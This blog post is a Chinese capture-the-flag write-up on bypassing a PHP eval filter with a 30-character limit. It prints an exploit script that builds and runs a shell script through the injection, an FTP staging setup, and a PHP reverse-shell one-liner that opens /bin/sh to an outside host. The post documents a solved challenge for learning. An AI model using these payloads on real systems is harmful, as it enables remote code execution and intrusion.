Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 有意思的命令注入

0x00 意外的题目

不知道是啥比赛还是啥啥啥

朋友问我一个题目 http://l4w.pw/%F0%9F%A4%94/

0x01 看看代码

<?php
// Connect to localhost:8888 to get the flag
if($_GET['👉🏻'] == '👌🏻') die(phpinfo());
$_ = $_GET['⁣'];
highlight_file(__FILE__);

if(preg_match("/[\w]{4,}/is",$_) || preg_match("/\[|\"|'|\||\^|~|\./is",$_)) // mình thích thì mình block hoy 👯
     die("🙅"); // 4cm is too much
eval(substr($_,0,30));

没有参数什么鬼、目测是不可见字符、抓个包就出来了%e2%81%a3

三个\w绕过的黑科技,还限制30个字符,以及过滤一些符号

看了看phpinfo发现shell_exec没有ban

目测``命令执行

0x02 撸它

略过一堆失败、、、

发现黑科技

sh -c "ec\ho 1" 是可以成功的,emmmmmm,原理不懂

echo xxx > xxx 换行问题在sh中可以用\解决

ip 用 十进制形式

bash -i 反弹失败 用 php 来反弹

服务器没有curl和wget,我反正用 file_get_contents

然后就没有然后了

0x03 Flag

flag[happy_🌚_new_year]

0x04 脚本

ip2dec.sh

ip2dec () {
    local a b c d ip=$@
        IFS=. read -r a b c d <<< "$ip"
        printf '%d\n' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))"
}

ftpd.py

pip install pyftpdlib

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user('a', 'a', '/root/', perm='elradfmw')
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()

ftpdown.sh

ftp -niv<<!
open [ip] [port]
user a a
mget x
bye
!

php_shell.php

<?php $sock=fsockopen("xxx.xxx.xxx.xxx",23333);exec("/bin/sh -i <&3 >&3 2>&3");

exp.php

<?php
error_reporting(0);

function fuck1($u){
    fuck("`{$u}`;");
}
function fuck($u){
    $u = urlencode($u);
    $a = file_get_contents("http://l4w.pw/%F0%9F%A4%94/?%e2%81%a3={$u}");
    $x = explode("</code>", $a);
    echo $x[1];
}
fuck1("ec\ho cd /tmp >/tmp/0");
fuck1("ec\ho ftp \\\\\\ >>/tmp/0");
fuck1("ec\ho -niv\\<\\<! >>/tmp/0");
fuck1("ec\ho o\\pen \\\\\\ >>/tmp/0");
fuck1("ec\ho my\\\\\\ >>/tmp/0");
fuck1("ec\ho ip\\\\\\ >>/tmp/0");
fuck1("ec\ho ip\\\\\\ >>/tmp/0");
fuck1("ec\ho ip port >>/tmp/0");
fuck1("ec\ho u\\ser a a >>/tmp/0");
fuck1("ec\ho m\\get \\\\\\ >>/tmp/0");
fuck1("ec\ho x >>/tmp/0");
fuck1("ec\ho bye >>/tmp/0");
fuck1("ec\ho ! >>/tmp/0");
fuck1("php -f /tmp/x");
fuck1("rm /tmp/0");
本文标题 : 有意思的命令注入
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2018/02/17/a_funny_command_injection.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~